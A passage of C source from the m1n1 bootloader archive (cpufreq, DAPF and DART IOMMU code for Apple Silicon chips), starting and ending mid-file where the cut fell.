case T8112: { u64 lo = read64(cluster->base + 0x78000 + cluster->apsc_pstate * 0x40); u64 hi = read64(cluster->base + 0x78008 + cluster->apsc_pstate * 0x40); write64(cluster->base + 0x7ffe8, lo); write64(cluster->base + 0x7fff0, hi); break; } } /* Default P-State */ if (cluster->default_pstate && set_pstate(cluster, cluster->default_pstate)) return -1; return 0; } void cpufreq_fixup_cluster(const struct cluster_t *cluster) { u64 val = read64(cluster->base + CLUSTER_PSTATE); // Older versions of m1n1 stage 1 erroneously cleared CLUSTER_PSTATE_UNK_Mx, so put it back for // firmwares it supported (don't touch anything newer, which includes newer devices). // Also clear the CLUSTER_PSTATE_DESIRED2 field since it doesn't seem to do anything, and isn't // used on newer chips. if (os_firmware.version != V_UNKNOWN && os_firmware.version <= V13_3) { u64 bits = 0; switch (chip_id) { case T8103: case T6000 ... T6002: bits = CLUSTER_PSTATE_UNK_M1; break; case T8112: case T6020 ... T6022: bits = CLUSTER_PSTATE_UNK_M2; break; default: return; } if (!(val & bits) || (val & CLUSTER_PSTATE_DESIRED2)) { val |= bits; val &= ~CLUSTER_PSTATE_DESIRED2; printf("cpufreq: Correcting setting for cluster %s\n", cluster->name); write64(cluster->base + CLUSTER_PSTATE, val); } } } static const struct cluster_t t8103_clusters[] = { {"ECPU", 0x210e00000, false, 1, 5}, {"PCPU", 0x211e00000, true, 1, 7}, {}, }; static const struct cluster_t t6000_clusters[] = { {"ECPU0", 0x210e00000, false, 1, 5}, {"PCPU0", 0x211e00000, true, 1, 7}, {"PCPU1", 0x212e00000, true, 1, 7}, {}, }; static const struct cluster_t t6002_clusters[] = { {"ECPU0", 0x0210e00000, false, 1, 5}, {"PCPU0", 0x0211e00000, true, 1, 7}, {"PCPU1", 0x0212e00000, true, 1, 7}, {"ECPU1", 0x2210e00000, false, 1, 5}, {"PCPU2", 0x2211e00000, true, 1, 7}, {"PCPU3", 0x2212e00000, true, 1, 7}, {}, }; static const struct cluster_t t8112_clusters[] = { {"ECPU", 0x210e00000, false, 1, 7}, {"PCPU", 0x211e00000, true, 1, 6}, {}, }; static const struct cluster_t t6020_clusters[] = { {"ECPU0", 0x210e00000, false, 1, 5}, {"PCPU0", 0x211e00000, true, 1, 6}, {"PCPU1", 0x212e00000, true, 1, 6}, {}, }; static const struct cluster_t t6022_clusters[] = { {"ECPU0", 0x0210e00000, false, 1, 5}, {"PCPU0", 0x0211e00000, true, 1, 6}, {"PCPU1", 0x0212e00000, true, 1, 6}, {"ECPU1", 0x2210e00000, false, 1, 5}, {"PCPU2", 0x2211e00000, true, 1, 6}, {"PCPU3", 0x2212e00000, true, 1, 6}, {}, }; const struct cluster_t *cpufreq_get_clusters(void) { switch (chip_id) { case T8103: return t8103_clusters; case T6000: case T6001: return t6000_clusters; case T6002: return t6002_clusters; case T8112: return t8112_clusters; case T6020: case T6021: return t6020_clusters; case T6022: return t6022_clusters; default: printf("cpufreq: Chip 0x%x is unsupported\n", chip_id); return NULL; } } static const struct feat_t t8103_features[] = { {"cpu-apsc", CLUSTER_PSTATE, CLUSTER_PSTATE_M1_APSC_DIS, 0, CLUSTER_PSTATE_APSC_BUSY, false}, {"ppt-thrtl", 0x48400, 0, BIT(63), 0, false}, {"llc-thrtl", 0x40240, 0, BIT(63), 0, false}, {"amx-thrtl", 0x40250, 0, BIT(63), 0, false}, {"cpu-fixed-freq-pll-relock", CLUSTER_PSTATE, 0, CLUSTER_PSTATE_FIXED_FREQ_PLL_RECLOCK, 0, false}, {}, }; static const struct feat_t t8112_features[] = { {"cpu-apsc", CLUSTER_PSTATE, CLUSTER_PSTATE_M2_APSC_DIS, 0, CLUSTER_PSTATE_APSC_BUSY, false}, {"ppt-thrtl", 0x40270, 0, BIT(63), 0, false}, {"ppt-thrtl", 0x48408, 0, BIT(63), 0, false}, {"ppt-thrtl", 0x48b30, 0, BIT(0), 0, true}, {"ppt-thrtl", 0x20078, 0, BIT(0), 0, true}, {"ppt-thrtl", 0x48400, 0, BIT(63), 0, false}, {"amx-thrtl", 0x40250, 0, BIT(63), 0, false}, {"cpu-fixed-freq-pll-relock", CLUSTER_PSTATE, 0, CLUSTER_PSTATE_FIXED_FREQ_PLL_RECLOCK, 0, false}, {}, }; static const struct feat_t t6020_features[] = { {"cpu-apsc", CLUSTER_PSTATE, CLUSTER_PSTATE_M2_APSC_DIS, 0, CLUSTER_PSTATE_APSC_BUSY, false}, {"ppt-thrtl", 0x48400, 0, BIT(63), 0, false}, {"llc-thrtl", 0x40270, 0, BIT(63), 0, false}, {"amx-thrtl", 0x40250, 0, BIT(63), 0, false}, {"cpu-fixed-freq-pll-relock", CLUSTER_PSTATE, 0, CLUSTER_PSTATE_FIXED_FREQ_PLL_RECLOCK, 0, false}, {}, }; const struct feat_t *cpufreq_get_features(void) { switch (chip_id) { case T8103: case T6000 ... T6002: return t8103_features; case T8112: return t8112_features; case T6020: case T6021: case T6022: return t6020_features; default: printf("cpufreq: Chip 0x%x is unsupported\n", chip_id); return NULL; } } int cpufreq_init(void) { printf("cpufreq: Initializing clusters\n"); const struct cluster_t *cluster = cpufreq_get_clusters(); const struct feat_t *features = cpufreq_get_features(); if (!cluster || !features) return -1; bool err = false; while (cluster->base) { err |= cpufreq_init_cluster(cluster++, features); } return err ? -1 : 0; } void cpufreq_fixup(void) { const struct cluster_t *cluster = cpufreq_get_clusters(); if (!cluster) return; while (cluster->base) { cpufreq_fixup_cluster(cluster++); } } m1n1-1.4.11/src/cpufreq.h000066400000000000000000000002031453754430200147610ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef CPUFREQ_H #define CPUFREQ_H int cpufreq_init(void); void cpufreq_fixup(void); #endif m1n1-1.4.11/src/dapf.c000066400000000000000000000074471453754430200142420ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "dapf.h" #include "adt.h" #include "assert.h" #include "malloc.h" #include "memory.h" #include "pmgr.h" #include "string.h" #include "utils.h" struct dapf_t8020_config { u64 start; u64 end; u8 unk1; u8 r0_hi; u8 r0_lo; u8 unk2; u32 r4; } PACKED; static int dapf_init_t8020(const char *path, u64 base, int node) { u32 length; const char *prop = "filter-data-instance-0"; const struct dapf_t8020_config *config = adt_getprop(adt, node, prop, &length); if (!config || !length || (length % sizeof(*config)) != 0) { printf("dapf: Error getting ADT node %s property %s.\n", path, prop); return -1; } int count = length / sizeof(*config); for (int i = 0; i < count; i++) { write32(base + 0x04, config[i].r4); write64(base + 0x08, config[i].start); write64(base + 0x10, config[i].end); write32(base + 0x00, (config[i].r0_hi << 4) | config[i].r0_lo); base += 0x40; } return 0; } struct dapf_t8110_config { u64 start; u64 end; u32 r20; u32 unk1; u32 r4; u32 unk2[5]; u8 unk3; u8 r0_hi; u8 r0_lo; u8 unk4; } PACKED; static int dapf_init_t8110(const char *path, u64 base, int node) { u32 length; const char *prop = "dapf-instance-0"; const struct dapf_t8110_config *config = adt_getprop(adt, node, prop, &length); if (!config || !length) { printf("dapf: Error getting ADT node %s property %s.\n", path, prop); return -1; } if (length % sizeof(*config) != 0) { printf("dapf: Invalid length for %s property %s\n", path, prop); return -1; } int count = length / sizeof(*config); for (int i = 0; i < count; i++) { write32(base + 0x04, config[i].r4); write64(base + 0x08, config[i].start); write64(base + 0x10, config[i].end); write32(base + 0x00, (config[i].r0_hi << 4) | config[i].r0_lo); write32(base + 0x20, config[i].r20); base += 0x40; } return 0; } int dapf_init(const char *path, int index) { int ret; int dart_path[8]; int node = adt_path_offset_trace(adt, path, dart_path); if (node < 0) { printf("dapf: Error getting DAPF %s node.\n", path); return -1; } u32 pwr; if (!adt_getprop(adt, node, "clock-gates", &pwr)) pwr = 0; if (pwr && (pmgr_adt_power_enable(path) < 0)) return -1; u64 base; if (adt_get_reg(adt, dart_path, "reg", index, &base, NULL) < 0) { printf("dapf: Error getting DAPF %s base address.\n", path); return -1; } if (adt_is_compatible(adt, node, "dart,t8020")) { ret = dapf_init_t8020(path, base, node); } else if (adt_is_compatible(adt, node, "dart,t6000")) { ret = dapf_init_t8020(path, base, node); } else if (adt_is_compatible(adt, node, "dart,t8110")) { ret = dapf_init_t8110(path, base, node); } else { printf("dapf: DAPF %s at 0x%lx is of an unknown type\n", path, base); return -1; } if (pwr) pmgr_adt_power_disable(path); if (!ret) printf("dapf: Initialized %s\n", path); return ret; } struct entry { const char *path; int index; }; struct entry dapf_entries[] = { {"/arm-io/dart-aop", 1}, {"/arm-io/dart-mtp", 1}, {"/arm-io/dart-pmp", 1}, {"/arm-io/dart-isp", 5}, {"/arm-io/dart-isp0", 5}, {NULL, -1}, }; int dapf_init_all(void) { int ret = 0; int count = 0; struct entry *entry = dapf_entries; while (entry->path != NULL) { if (adt_path_offset(adt, entry->path) < 0) { entry++; continue; } if (dapf_init(entry->path, entry->index) < 0) { ret = -1; } entry++; count += 1; } return ret ? ret : count; } m1n1-1.4.11/src/dapf.h000066400000000000000000000002201453754430200142250ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DAPF_H #define DAPF_H int dapf_init_all(void); int dapf_init(const char *path, int index); #endif m1n1-1.4.11/src/dart.c000066400000000000000000000523401453754430200142520ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "dart.h" #include "adt.h" #include "assert.h" #include "devicetree.h" #include "malloc.h" #include "memory.h" #include "string.h" #include "utils.h" #include "libfdt/libfdt.h" #define DART_T8020_CONFIG 0x60 #define DART_T8020_CONFIG_LOCK BIT(15) #define DART_T8020_ERROR 0x40 #define DART_T8020_ERROR_STREAM_SHIFT 24 #define DART_T8020_ERROR_STREAM_MASK 0xf #define DART_T8020_ERROR_CODE_MASK 0xffffff #define DART_T8020_ERROR_FLAG BIT(31) #define DART_T8020_ERROR_READ_FAULT BIT(4) #define DART_T8020_ERROR_WRITE_FAULT BIT(3) #define DART_T8020_ERROR_NO_PTE BIT(2) #define DART_T8020_ERROR_NO_PMD BIT(1) #define DART_T8020_ERROR_NO_TTBR BIT(0) #define DART_T8020_STREAM_SELECT 0x34 #define DART_T8020_STREAM_COMMAND 0x20 #define DART_T8020_STREAM_COMMAND_BUSY BIT(2) #define DART_T8020_STREAM_COMMAND_INVALIDATE BIT(20) #define DART_T8020_STREAM_COMMAND_BUSY_TIMEOUT 100 #define DART_T8020_STREAM_REMAP 0x80 #define DART_T8020_ERROR_ADDR_HI 0x54 #define DART_T8020_ERROR_ADDR_LO 0x50 #define DART_T8020_ENABLED_STREAMS 0xfc #define DART_T8020_TCR_OFF 0x100 #define DART_T8020_TCR_TRANSLATE_ENABLE BIT(7) #define DART_T8020_TCR_BYPASS_DART BIT(8) #define DART_T8020_TCR_BYPASS_DAPF BIT(12) #define DART_T8020_TTBR_OFF 0x200 #define DART_T8020_TTBR_VALID BIT(31) #define DART_T8020_TTBR_ADDR GENMASK(30, 0) #define DART_T8020_TTBR_SHIFT 12 #define DART_PTE_OFFSET_SHIFT 14 #define DART_PTE_SP_START GENMASK(63, 52) #define DART_PTE_SP_END GENMASK(51, 40) #define DART_T8020_PTE_OFFSET GENMASK(39, 14) #define DART_T6000_PTE_OFFSET GENMASK(39, 10) #define DART_T8020_PTE_DISABLE_SP BIT(1) #define DART_T6000_PTE_REALTIME BIT(1) #define DART_PTE_VALID BIT(0) #define DART_T8110_TTBR_OFF 0x1400 #define DART_T8110_TTBR_VALID BIT(0) #define DART_T8110_TTBR_ADDR GENMASK(29, 2) #define DART_T8110_TTBR_SHIFT 14 #define DART_T8110_TCR_OFF 0x1000 #define DART_T8110_TCR_REMAP GENMASK(11, 8) #define DART_T8110_TCR_REMAP_EN BIT(7) #define DART_T8110_TCR_BYPASS_DAPF BIT(2) #define DART_T8110_TCR_BYPASS_DART BIT(1) #define DART_T8110_TCR_TRANSLATE_ENABLE BIT(0) #define DART_T8110_TLB_CMD 0x80 #define DART_T8110_TLB_CMD_BUSY BIT(31) #define DART_T8110_TLB_CMD_OP GENMASK(10, 8) #define DART_T8110_TLB_CMD_OP_FLUSH_ALL 0 #define DART_T8110_TLB_CMD_OP_FLUSH_SID 1 #define DART_T8110_TLB_CMD_STREAM GENMASK(7, 0) #define DART_T8110_PROTECT 0x200 #define DART_T8110_PROTECT_TTBR_TCR BIT(0) #define DART_T8110_ENABLE_STREAMS 0xc00 #define DART_T8110_DISABLE_STREAMS 0xc20 #define DART_MAX_TTBR_COUNT 4 #define DART_TCR(dart) (dart->regs + dart->params->tcr_off + 4 * dart->device) #define DART_TTBR(dart, idx) \ (dart->regs + dart->params->ttbr_off + 4 * dart->params->ttbr_count * dart->device + 4 * idx) struct dart_params { int sid_count; u64 pte_flags; u64 offset_mask; u64 tcr_enabled; u64 tcr_disabled; u64 tcr_off; u64 ttbr_valid; u64 ttbr_addr; u64 ttbr_shift; u64 ttbr_off; int ttbr_count; void (*tlb_invalidate)(dart_dev_t *dart); }; struct dart_dev { bool locked; bool keep; uintptr_t regs; u8 device; enum dart_type_t type; const struct dart_params *params; u64 vm_base; u64 *l1[DART_MAX_TTBR_COUNT]; }; static void dart_t8020_tlb_invalidate(dart_dev_t *dart) { write32(dart->regs + DART_T8020_STREAM_SELECT, BIT(dart->device)); /* ensure that the DART can see the updated pagetables before invalidating */ dma_wmb(); write32(dart->regs + DART_T8020_STREAM_COMMAND, DART_T8020_STREAM_COMMAND_INVALIDATE); if (poll32(dart->regs + DART_T8020_STREAM_COMMAND, DART_T8020_STREAM_COMMAND_BUSY, 0, 100)) printf("dart: DART_T8020_STREAM_COMMAND_BUSY did not clear.\n"); } static void dart_t8110_tlb_invalidate(dart_dev_t *dart) { /* ensure that the DART can see the updated pagetables before invalidating */ dma_wmb(); write32(dart->regs + DART_T8110_TLB_CMD, FIELD_PREP(DART_T8110_TLB_CMD_OP, DART_T8110_TLB_CMD_OP_FLUSH_SID) | FIELD_PREP(DART_T8110_TLB_CMD_STREAM, dart->device)); if (poll32(dart->regs + DART_T8110_TLB_CMD_OP, DART_T8110_TLB_CMD_BUSY, 0, 100)) printf("dart: DART_T8110_TLB_CMD_BUSY did not clear.\n"); } const struct dart_params dart_t8020 = { .sid_count = 32, .pte_flags = FIELD_PREP(DART_PTE_SP_END, 0xfff) | FIELD_PREP(DART_PTE_SP_START, 0) | DART_T8020_PTE_DISABLE_SP | DART_PTE_VALID, .offset_mask = DART_T8020_PTE_OFFSET, .tcr_enabled = DART_T8020_TCR_TRANSLATE_ENABLE, .tcr_disabled = DART_T8020_TCR_BYPASS_DAPF | DART_T8020_TCR_BYPASS_DART, .tcr_off = DART_T8020_TCR_OFF, .ttbr_valid = DART_T8020_TTBR_VALID, .ttbr_addr = DART_T8020_TTBR_ADDR, .ttbr_shift = DART_T8020_TTBR_SHIFT, .ttbr_off = DART_T8020_TTBR_OFF, .ttbr_count = 4, .tlb_invalidate = dart_t8020_tlb_invalidate, }; const struct dart_params dart_t6000 = { .sid_count = 32, .pte_flags = FIELD_PREP(DART_PTE_SP_END, 0xfff) | FIELD_PREP(DART_PTE_SP_START, 0) | DART_PTE_VALID, .offset_mask = DART_T6000_PTE_OFFSET, .tcr_enabled = DART_T8020_TCR_TRANSLATE_ENABLE, .tcr_disabled = DART_T8020_TCR_BYPASS_DAPF | DART_T8020_TCR_BYPASS_DART, .tcr_off = DART_T8020_TCR_OFF, .ttbr_valid = DART_T8020_TTBR_VALID, .ttbr_addr = DART_T8020_TTBR_ADDR, .ttbr_shift = DART_T8020_TTBR_SHIFT, .ttbr_off = DART_T8020_TTBR_OFF, .ttbr_count = 4, .tlb_invalidate = dart_t8020_tlb_invalidate, }; const struct dart_params dart_t8110 = { .sid_count = 256, .pte_flags = FIELD_PREP(DART_PTE_SP_END, 0xfff) | FIELD_PREP(DART_PTE_SP_START, 0) | DART_PTE_VALID, .offset_mask = DART_T6000_PTE_OFFSET, .tcr_enabled = DART_T8110_TCR_TRANSLATE_ENABLE, .tcr_disabled = DART_T8110_TCR_BYPASS_DAPF | DART_T8110_TCR_BYPASS_DART, .tcr_off = DART_T8110_TCR_OFF, .ttbr_valid = DART_T8110_TTBR_VALID, .ttbr_addr = DART_T8110_TTBR_ADDR, .ttbr_shift = DART_T8110_TTBR_SHIFT, .ttbr_off = DART_T8110_TTBR_OFF, .ttbr_count = 1, .tlb_invalidate = dart_t8110_tlb_invalidate, }; dart_dev_t *dart_init(uintptr_t base, u8 device, bool keep_pts, enum dart_type_t type) { dart_dev_t *dart = calloc(1, sizeof(*dart)); if (!dart) return NULL; dart->regs = base; dart->device = device; dart->type = type; switch (type) { case DART_T8020: dart->params = &dart_t8020; break; case DART_T8110: dart->params = &dart_t8110; break; case DART_T6000: dart->params = &dart_t6000; break; } if (device >= dart->params->sid_count) { printf("dart: device %d is too big for this DART type\n", device); free(dart); return NULL; } switch (type) { case DART_T8020: case DART_T6000: if (read32(dart->regs + DART_T8020_CONFIG) & DART_T8020_CONFIG_LOCK) dart->locked = true; set32(dart->regs + DART_T8020_ENABLED_STREAMS, BIT(device & 0x1f)); break; case DART_T8110: if (read32(dart->regs + DART_T8110_PROTECT) & DART_T8110_PROTECT_TTBR_TCR) dart->locked = true; write32(dart->regs + DART_T8110_ENABLE_STREAMS + 4 * (device >> 5), BIT(device & 0x1f)); break; } dart->keep = keep_pts; if (dart->locked || keep_pts) { for (int i = 0; i < dart->params->ttbr_count; i++) { u32 ttbr = read32(DART_TTBR(dart, i)); if (ttbr & dart->params->ttbr_valid) dart->l1[i] = (u64 *)(FIELD_GET(dart->params->ttbr_addr, ttbr) << dart->params->ttbr_shift); } } for (int i = 0; i < dart->params->ttbr_count; i++) { if (dart->l1[i]) continue; dart->l1[i] = memalign(SZ_16K, SZ_16K); if (!dart->l1[i]) goto error; memset(dart->l1[i], 0, SZ_16K); write32(DART_TTBR(dart, i), dart->params->ttbr_valid | FIELD_PREP(dart->params->ttbr_addr, ((uintptr_t)dart->l1[i]) >> dart->params->ttbr_shift)); } if (!dart->locked && !keep_pts) write32(DART_TCR(dart), dart->params->tcr_enabled); dart->params->tlb_invalidate(dart); return dart; error: if (!dart->locked) free(dart->l1); free(dart); return NULL; } dart_dev_t *dart_init_adt(const char *path, int instance, int device, bool keep_pts) { int dart_path[8]; int node = adt_path_offset_trace(adt, path, dart_path); if (node < 0) { printf("dart: Error getting DART node %s\n", path); return NULL; } u64 base; if (adt_get_reg(adt, dart_path, "reg", instance, &base, NULL) < 0) { printf("dart: Error getting DART %s base address.\n", path); return NULL; } enum dart_type_t type; const char *type_s; if (adt_is_compatible(adt, node, "dart,t8020")) { type = DART_T8020; type_s = "t8020"; } else if (adt_is_compatible(adt, node, "dart,t6000")) { type = DART_T6000; type_s = "t6000"; } else if (adt_is_compatible(adt, node, "dart,t8110")) { type = DART_T8110; type_s = "t8110"; } else { printf("dart: dart %s at 0x%lx is of an unknown type\n", path, base); return NULL; } dart_dev_t *dart = dart_init(base, device, keep_pts, type); if (!dart) return NULL; printf("dart: dart %s at 0x%lx is a %s%s\n", path, base, type_s, dart->locked ? " (locked)" : ""); if (adt_getprop(adt, node, "real-time", NULL)) { for (int i = 0; i < dart->params->ttbr_count; i++) { printf("dart: dart %s.%d.%d L1 %d is real-time at %p\n", path, instance, device, i, dart->l1[i]); } } if (ADT_GETPROP(adt, node, "vm-base", &dart->vm_base) < 0) dart->vm_base = 0; else dart->vm_base &= (1LLU << 36) - 1; return dart; } void dart_lock_adt(const char *path, int instance) { int dart_path[8]; int node = adt_path_offset_trace(adt, path, dart_path); if (node < 0) { printf("dart: Error getting DART node %s\n", path); return; } u64 base; if (adt_get_reg(adt, dart_path, "reg", instance, &base, NULL) < 0) { printf("dart: Error getting DART %s base address.\n", path); return; } if (adt_is_compatible(adt, node, "dart,t8020") || adt_is_compatible(adt, node, "dart,t6000")) { if (!(read32(base + DART_T8020_CONFIG) & DART_T8020_CONFIG_LOCK)) set32(base + DART_T8020_CONFIG, DART_T8020_CONFIG_LOCK); } else if (adt_is_compatible(adt, node, "dart,t8110")) { if (!(read32(base + DART_T8110_PROTECT) & DART_T8110_PROTECT_TTBR_TCR)) set32(base + DART_T8110_PROTECT, DART_T8110_PROTECT_TTBR_TCR); } else { printf("dart: dart %s at 0x%lx is of an unknown type\n", path, base); } } dart_dev_t *dart_init_fdt(void *dt, u32 phandle, int device, bool keep_pts) { int node = fdt_node_offset_by_phandle(dt, phandle); if (node < 0) { printf("FDT: node for phandle %u not found\n", phandle); return NULL; } u64 base = dt_get_address(dt, node); if (!base) return NULL; enum dart_type_t type; const char *type_s; const char *name = fdt_get_name(dt, node, NULL); if (fdt_node_check_compatible(dt, node, "apple,t8103-dart") == 0) { type = DART_T8020; type_s = "t8020"; } else if (fdt_node_check_compatible(dt, node, "apple,t6000-dart") == 0) { type = DART_T6000; type_s = "t6000"; } else if (fdt_node_check_compatible(dt, node, "apple,t8110-dart") == 0) { type = DART_T8110; type_s = "t8110"; } else { printf("dart: dart %s at 0x%lx is of an unknown type\n", name, base); return NULL; } dart_dev_t *dart = dart_init(base, device, keep_pts, type); if (!dart) return NULL; printf("dart: dart %s at 0x%lx is a %s%s\n", name, base, type_s, dart->locked ? " (locked)" : ""); return dart; } int dart_setup_pt_region(dart_dev_t *dart, const char *path, int device, u64 vm_base) { int node = adt_path_offset(adt, path); if (node < 0) { printf("dart: Error getting DART node %s\n", path); return -1; } char pt_region_str[24]; snprintf(pt_region_str, sizeof(pt_region_str), "pt-region-%d", device); char l2_tt_str[24]; snprintf(l2_tt_str, sizeof(l2_tt_str), "l2-tt-%d", device); const struct adt_property *pt_region = adt_get_property(adt, node, pt_region_str); if (pt_region && pt_region->size == 16) { u64 region[2]; memcpy(region, pt_region->value, sizeof(region)); u64 tbl_count = (region[1] - region[0]) / SZ_16K; if (tbl_count > 64) { printf("dart: dart %s ignoring large %s, %lu L2 tables\n", path, pt_region_str, tbl_count); return -1; } /* first index is the l1 table, cap at 2 or else macOS hates it */ tbl_count = min(2, tbl_count - 1); u64 l2_start = region[0] + SZ_16K; u64 vmstart = vm_base >> (14 + 11); for (u64 index = 0; index < tbl_count; index++) { int ttbr = (vmstart + index) >> 11; int idx = (vmstart + index) & 0x7ff; u64 l2tbl = l2_start + index * SZ_16K; if (dart->l1[ttbr][idx] & DART_PTE_VALID) { u64 off = FIELD_GET(dart->params->offset_mask, dart->l1[ttbr][idx]) << DART_PTE_OFFSET_SHIFT; if (off != l2tbl) printf("dart: unexpected L2 tbl at index:%lu. 0x%016lx != 0x%016lx\n", index, off, l2tbl); continue; } else { printf("dart: allocating L2 tbl at %d, %d to 0x%lx\n", ttbr, idx, l2tbl); memset((void *)l2tbl, 0, SZ_16K); } u64 offset = FIELD_PREP(dart->params->offset_mask, l2tbl >> DART_PTE_OFFSET_SHIFT); dart->l1[ttbr][idx] = offset | DART_PTE_VALID; } u64 l2_tt[2] = {region[0], tbl_count}; int ret = adt_setprop(adt, node, l2_tt_str, &l2_tt, sizeof(l2_tt)); if (ret < 0) { printf("dart: failed to update '%s/%s'\n", path, l2_tt_str); } dart->params->tlb_invalidate(dart); } return 0; } static u64 *dart_get_l2(dart_dev_t *dart, u32 idx) { int ttbr = idx >> 11; idx &= 0x7ff; if (dart->l1[ttbr][idx] & DART_PTE_VALID) { u64 off = FIELD_GET(dart->params->offset_mask, dart->l1[ttbr][idx]) << DART_PTE_OFFSET_SHIFT; return (u64 *)off; } u64 *tbl = memalign(SZ_16K, SZ_16K); if (!tbl) return NULL; memset(tbl, 0, SZ_16K); u64 offset = FIELD_PREP(dart->params->offset_mask, ((u64)tbl) >> DART_PTE_OFFSET_SHIFT); dart->l1[ttbr][idx] = offset | DART_PTE_VALID; return tbl; } static int dart_map_page(dart_dev_t *dart, uintptr_t iova, uintptr_t paddr) { u32 l1_index = (iova >> 25) & 0x1fff; u32 l2_index = (iova >> 14) & 0x7ff; u64 *l2 = dart_get_l2(dart, l1_index); if (!l2) { printf("dart: couldn't create l2 for iova %lx\n", iova); return -1; } if (l2[l2_index] & DART_PTE_VALID) { printf("dart: iova %lx already has a valid PTE: %lx\n", iova, l2[l2_index]); return -1; } u64 offset = FIELD_PREP(dart->params->offset_mask, paddr >> DART_PTE_OFFSET_SHIFT); l2[l2_index] = offset | dart->params->pte_flags; return 0; } int dart_map(dart_dev_t *dart, uintptr_t iova, void *bfr, size_t len) { uintptr_t paddr = (uintptr_t)bfr; u64 offset = 0; if (len % SZ_16K) return -1; if (paddr % SZ_16K) return -1; if (iova % SZ_16K) return -1; while (offset < len) { int ret = dart_map_page(dart, iova + offset, paddr + offset); if (ret) { dart_unmap(dart, iova, offset); return ret; } offset += SZ_16K; } dart->params->tlb_invalidate(dart); return 0; } static void dart_unmap_page(dart_dev_t *dart, uintptr_t iova) { u32 ttbr = (iova >> 36) & 0x3; u32 l1_index = (iova >> 25) & 0x7ff; u32 l2_index = (iova >> 14) & 0x7ff; if (!(dart->l1[ttbr][l1_index] & DART_PTE_VALID)) return; u64 *l2 = dart_get_l2(dart, l1_index); l2[l2_index] = 0; } void dart_unmap(dart_dev_t *dart, uintptr_t iova, size_t len) { if (len % SZ_16K) return; if (iova % SZ_16K) return; while (len) { dart_unmap_page(dart, iova); len -= SZ_16K; iova += SZ_16K; } dart->params->tlb_invalidate(dart); } void dart_free_l2(dart_dev_t *dart, uintptr_t iova) { if (iova & ((1 << 25) - 1)) { printf("dart: %08lx is not at the start of L2 table\n", iova); return; } u32 ttbr = (iova >> 36) & 0x3; u32 l1_index = (iova >> 25) & 0x7ff; if (!(dart->l1[ttbr][l1_index] & DART_PTE_VALID)) return; u64 *l2 = dart_get_l2(dart, l1_index); for (u32 idx = 0; idx < 2048; idx++) { if (l2[idx] & DART_PTE_VALID) { printf("dart: %08lx is still mapped\n", iova + (idx << 14)); return; } } dart->l1[ttbr][l1_index] = 0; free(l2); } static void *dart_translate_internal(dart_dev_t *dart, uintptr_t iova, int silent) { u32 ttbr = (iova >> 36) & 0x3; u32 l1_index = (iova >> 25) & 0x7ff; if ((int)ttbr >= dart->params->ttbr_count) { printf("dart[%lx %u]: ttbr out of range: %d\n", dart->regs, dart->device, ttbr); return NULL; } if (!dart->l1[ttbr]) { printf("dart[%lx %u]: l1[%u] is not set\n", dart->regs, dart->device, ttbr); return NULL; } if (!(dart->l1[ttbr][l1_index] & DART_PTE_VALID) && !silent) { printf("dart[%lx %u]: l1 translation failure %x %lx\n", dart->regs, dart->device, l1_index, iova); return NULL; } u32 l2_index = (iova >> 14) & 0x7ff; u64 *l2 = (u64 *)(FIELD_GET(dart->params->offset_mask, dart->l1[ttbr][l1_index]) << DART_PTE_OFFSET_SHIFT); if (!(l2[l2_index] & DART_PTE_VALID) && !silent) { printf("dart[%lx %u]: l2 translation failure %x:%x %lx\n", dart->regs, dart->device, l1_index, l2_index, iova); return NULL; } u32 offset = iova & 0x3fff; void *base = (void *)(FIELD_GET(dart->params->offset_mask, l2[l2_index]) << DART_PTE_OFFSET_SHIFT); return base + offset; } void *dart_translate(dart_dev_t *dart, uintptr_t iova) { return dart_translate_internal(dart, iova, 0); } u64 dart_search(dart_dev_t *dart, void *paddr) { for (int ttbr = 0; ttbr < dart->params->ttbr_count; ++ttbr) { if (!dart->l1[ttbr]) continue; for (u32 l1_index = 0; l1_index < 0x7ff; l1_index++) { if (!(dart->l1[ttbr][l1_index] & DART_PTE_VALID)) continue; u64 *l2 = (u64 *)(FIELD_GET(dart->params->offset_mask, dart->l1[ttbr][l1_index]) << DART_PTE_OFFSET_SHIFT); for (u32 l2_index = 0; l2_index < 0x7ff; l2_index++) { if (!(l2[l2_index] & DART_PTE_VALID)) continue; u64 *dst = (u64 *)(FIELD_GET(dart->params->offset_mask, l2[l2_index]) << DART_PTE_OFFSET_SHIFT); if (dst == paddr) return ((u64)ttbr << 36) | ((u64)l1_index << 25) | (l2_index << 14); } } } return DART_PTR_ERR; } u64 dart_find_iova(dart_dev_t *dart, s64 start, size_t len) { if (len % SZ_16K) return -1; if (start < 0 || start % SZ_16K) return -1; uintptr_t end = 1LLU << 36; uintptr_t iova = start; while (iova + len <= end) { if (dart_translate_internal(dart, iova, 1) == NULL) { size_t size; for (size = SZ_16K; size < len; size += SZ_16K) { if (dart_translate_internal(dart, iova + size, 1) != NULL) break; } if (size == len) return iova; iova += size + SZ_16K; } else iova += SZ_16K; } return DART_PTR_ERR; } void dart_shutdown(dart_dev_t *dart) { if (!dart->locked && !dart->keep) write32(DART_TCR(dart), dart->params->tcr_disabled); for (int i = 0; i < dart->params->ttbr_count; ++i) if (is_heap(dart->l1[i])) write32(DART_TTBR(dart, i), 0); for (int ttbr = 0; ttbr < dart->params->ttbr_count; ++ttbr) { for (int i = 0; i < SZ_16K / 8; ++i) { if (dart->l1[ttbr][i] & DART_PTE_VALID) { void *l2 = dart_get_l2(dart, i); if (is_heap(l2)) { free(l2); dart->l1[ttbr][i] = 0; } } } } dart->params->tlb_invalidate(dart); for (int i = 0; i < dart->params->ttbr_count; ++i) if (is_heap(dart->l1[i])) free(dart->l1[i]); free(dart); } u64 dart_vm_base(dart_dev_t *dart) { return dart->vm_base; } m1n1-1.4.11/src/dart.h000066400000000000000000000021231453754430200142510ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DART_H #define DART_H #include "types.h" #define DART_PTR_ERR BIT(63) #define DART_IS_ERR(val) FIELD_GET(DART_PTR_ERR, val) typedef struct dart_dev dart_dev_t; enum dart_type_t { DART_T8020, DART_T8110, DART_T6000, }; dart_dev_t *dart_init(uintptr_t base, u8 device, bool keep_pts, enum dart_type_t type); dart_dev_t *dart_init_adt(const char *path, int instance, int device, bool keep_pts); void dart_lock_adt(const char *path, int instance); dart_dev_t *dart_init_fdt(void *dt, u32 phandle, int device, bool keep_pts); int dart_setup_pt_region(dart_dev_t *dart, const char *path, int 